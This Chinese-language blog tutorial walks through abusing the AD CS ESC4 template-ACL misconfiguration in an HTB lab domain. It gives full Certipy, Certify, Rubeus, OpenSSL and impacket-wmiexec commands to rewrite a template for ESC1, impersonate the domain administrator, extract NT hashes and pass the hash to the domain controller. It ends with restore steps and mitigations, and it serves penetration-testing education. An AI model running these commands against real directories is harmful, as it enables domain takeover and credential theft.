ADCS ESC4攻击实战:通过模板ACL滥用实现权限提升

本文详细介绍了如何利用Active Directory证书服务中模板ACL配置不当导致的ESC4漏洞,通过修改证书模板配置使其易受ESC1攻击,最终实现域权限提升的完整攻击链和防御措施。

ADCS攻击系列:通过模板ACL滥用ESC4实现权限提升

Active Directory证书服务(ADCS)负责在AD环境中颁发和管理数字证书。这些证书用于加密和验证用户身份等用途。

但像AD中的大多数组件一样,ADCS也有自己的一系列漏洞,可能导致域权限升级和其他严重的安全风险。这些错误配置使用"ESC"前缀加数字(如ESC1、ESC2等)来跟踪特定问题。

在本系列中,我每次选取一个错误配置,并以实用且易于理解的方式进行分解。今天,我们将探讨ESC4,即具有过度宽松访问控制列表(ACL)的证书模板(如向低权限用户或计算机授予WriteDacl、WriteOwner甚至GenericAll权限)如何被修改以使其可被滥用。我们将调整模板使其易受ESC1攻击,然后使用它来冒充特权用户(如域管理员)。

我将使用HTB Academy - ADCS Attacks模块逐步演示这个过程。

目录

  • 理解ESC4
  • ESC4滥用要求
  • 所需工具
  • 通过用户主体滥用ESC4
    • A. Linux方法
    • B. Windows方法
  • 通过计算机主体滥用ESC4
    • 选项1:创建新的计算机账户
    • 选项2:使用被入侵的计算机账户
  • 缓解措施
  • 资源

理解ESC4

滥用ESC4始于找到一个具有过度宽松ACL的证书模板,这些ACL允许低权限用户或计算机(具有WriteDacl、WriteProperty、WriteOwner或GenericAll权限)修改模板配置,使其易受域升级攻击。

识别可修改模板时,最常见且直接的攻击路径是使其易受ESC1滥用技术攻击,这让我们能够冒充高权限用户(如DA)。

ESC4滥用要求

要识别易受攻击的模板,我们使用Certipy或Certify等工具检查证书模板上的ACL权限。

对象控制权限:我们主要寻找对模板或具有这些权限的身份具有这些权限的组,如域用户、认证用户或域计算机。

下面是一个具有过度宽松ACL的易受攻击的ESC4模板示例。

所需工具

Linux:Certipy、Impacket、NetExec Windows:Certify、Rubeus、NetExec、Certipy.exe

通过用户主体滥用ESC4

A. Linux方法

1. 识别易受攻击的模板

我们首先使用Certipy检查证书模板,提供有效的域用户凭据和DC IP:

1
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -vulnerable -stdout

如前一节所述,我们寻找授予低权限用户危险权限的证书模板,特别是那些允许他们修改模板配置的权限。

在查看Certipy输出时,我们重点关注"对象控制权限"部分,密切关注哪些主体拥有哪些权限。

2. 保存旧模板

在修改模板之前,保存旧配置非常重要,这样我们可以在完成攻击后恢复更改。在内部渗透测试期间,我们不希望在客户环境中引入额外的漏洞。

Certipy有一个标志用于此目的。在v4.8.2版本中,它被称为-save-old,在v5.0.2中,它被重命名为-save-configuration。此标志将模板配置保存为JSON文件,以便我们以后在准备恢复更改时可以恢复它。

1
certipy template -u 'blWasp@lab.local' -p 'Password123!' -template ESC4 -dc-ip 10.129.228.236 -save-configuration ESC4-original

3. 修改模板

在此步骤中,我们修改模板以允许我们利用它进行域权限升级。最简单的更改之一是使模板易受ESC1攻击,这将允许我们冒充其他用户(如DA)。

要使证书模板易受ESC1攻击,我们可以更新以下属性:

  • 启用Enrollee Supplies Subject标志
  • 将Certificate Name Flag设置为ENROLLEE_SUPPLIES_SUBJECT
  • 配置扩展密钥用法(EKU)
  • 确保低权限用户或计算机具有注册权限
  • 将Requires Manager Approval设置为false,Authorized Signatures Required设置为0

在Certipy v5.0.2中,使用-write-default-configuration标志将默认ESC1配置应用于证书模板:

1
certipy template -u 'blWasp@lab.local' -p 'Password123!' -template ESC4 -dc-ip 10.129.228.236 -write-default-configuration

4. 作为模拟用户请求证书

现在我们可以通过指定其用户主体名称(UPN)来请求证书以冒充其他用户(如DA):

1
certipy -debug req -u 'blwasp@lab.local' -p 'Password123!' -template ESC4 -ca 'lab-LAB-DC-CA' -dc-ip 10.129.228.236 -dc-host LAB-DC.lab.local -target LAB-DC.lab.local -upn administrator@lab.local

5. 转储模拟账户的NT哈希

使用auth命令以administrator身份进行身份验证并获取NT哈希:

1
certipy auth -pfx administrator.pfx -domain lab.local -dc-ip 10.129.228.236

6. 访问域控制器

我们现在可以使用SMB或WMI访问DC。在这种情况下,我们将使用impacket-wmiexec:

1
impacket-wmiexec lab.local/administrator@10.129.185.247 -dc-ip 10.129.185.247 -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

7. 恢复模板配置

要恢复原始模板配置,我们将使用备份文件ESC4-original.json恢复我们所做的更改:

1
certipy template -u 'blWasp@lab.local' -p 'Password123!' -template ESC4 -dc-ip 10.129.185.247 -write-configuration ESC4-original.json

8. 验证更改

恢复配置后,再次运行find命令以确认模板已正确恢复:

1
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -stdout

B. Windows方法

1. 识别易受攻击的模板

我们以与Linux端相同的步骤开始:识别可用于滥用ESC4的证书模板。与Certipy不同,Certify不会明确标记易受攻击的模板,因此我们需要手动查看模板权限以确定它们是否可利用。

最简单的方法是将输出保存到文件中并离线查看权限:

1
.\Certify.exe find > certify_output.txt

2. 保存模板

Certify没有像Certipy那样内置保存证书模板配置的方法,因此我使用PowerShell和ADSI找到了一个解决方法。

该脚本将模板备份到两个文件中:

  • 一个包含所有属性的.xml文件
  • 一个包含ACL(安全描述符)的.acl.xml文件(二进制格式)

要备份配置,我们将使用备份模式:

1
.\Manage-CertTemplate.ps1 -Mode Backup -TemplateName "ESC4"

3. 修改模板

我们将修改ESC4模板的配置,使其易受ESC1攻击,就像在Linux端所做的那样。这可以使用PowerView或带有ADSI的本机PowerShell完成。

我们将更新以下属性:

  • 设置mspki-certificate-name-flag以包含ENROLLEE_SUPPLIES_SUBJECT标志
  • 设置pKIExtendedKeyUsage和mspki-certificate-application-policy属性以包含OID 1.3.6.1.5.5.7.3.2
  • 授予低权限用户或组注册权限
  • 通过将Requires Manager Approval设置为False并将Authorized Signatures Required设置为0来禁用批准要求

4. 作为模拟用户请求证书

现在我们可以请求证书以冒充其他用户(如DA)。运行以下命令并确保包含完整的证书颁发机构(CA)名称:

1
.\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC4 /altname:Administrator /domain:lab.local

5. 转换证书

Certify生成的证书为.pem格式,其中包括私钥和证书。在使用其他工具之前,我们需要使用OpenSSL将其转换为.pfx:

1
& "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in admin.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx

6. 证书认证

现在我们可以使用Rubeus和我们生成的证书进行身份验证。我们将使用asktgt命令,指定模拟用户(administrator)、证书文件admin.pfx和/getcredentials标志以提取NT哈希:

1
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /getcredentials

7. 恢复更改

现在我们将使用在备份步骤期间保存的XML文件恢复原始模板配置:

1
.\Manage-CertTemplate.ps1 -Mode Restore -TemplateName "ESC4"

然后,再次运行Certify.exe find命令以验证模板配置是否已恢复。

通过计算机主体滥用ESC4

如果证书模板允许域计算机或特定计算机账户修改它,我们可以按照"通过用户主体滥用ESC4"中的相同步骤操作,但需要进行一些调整。

有两种路径可以选择:

  • 创建新的计算机账户
  • 使用被入侵的计算机账户

选项1:创建新的计算机账户

如果模板授予域计算机具有GenericAll、WriteDacl或WriteProperty权限的控制权,我们可以创建一个我们完全控制的新计算机账户。这假设环境允许这样做。

默认情况下,标准域用户可以在Active Directory中创建最多10个计算机账户。但是,某些环境通过修改ms-DS-MachineAccountQuota属性将此值减少到0以防止此类滥用。

我们可以使用nxc和maq模块快速检查计算机配额:

1
nxc ldap 10.129.185.247 -u blwasp -p 'Password123!' -M maq

选项2:使用被入侵的计算机账户

此选项涉及获取对已具有证书模板控制权的计算机账户的访问权限。要利用此功能,我们需要在目标系统上具有本地管理员权限。

一旦我们拥有管理员访问权限,我们可以使用Mimikatz提取计算机账户的哈希,然后使用它以该计算机账户进行身份验证。这使我们能够修改模板并进行ESC4滥用。

缓解措施

  • 查看证书模板上的ACL。确保未向低权限用户或组授予WriteDacl、WriteOwner或Full Control等权限。只有受信任的管理员才能修改模板。
  • 检查谁可以注册每个模板。不要将其开放给域用户等组,如果未使用该模板,只需禁用它。
  • 通过跟踪证书请求的修改来监控模板的更改,这可以使用内置的Windows事件日志完成:
    • 4899 – 更改CA安全设置
    • 4886 – 证书服务收到证书请求。

资源

  • Certified Pre-Owned
  • AD CS ESC4 Privilege Escalation Tutorial | Hack Active Directory Certificate Services
  • Abusing Active Directory Certificate Services (ADCS) | ESC4 Attack Explained
  • Abusing Active Directory Certificate Services — Part 2
  • ADCS: Playing with ESC4
  • AD CS 102: How to Detect and Mitigate ESC4 Attacks on Active Directory Certificate Services
  • Pwning the Domain: AD CS
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计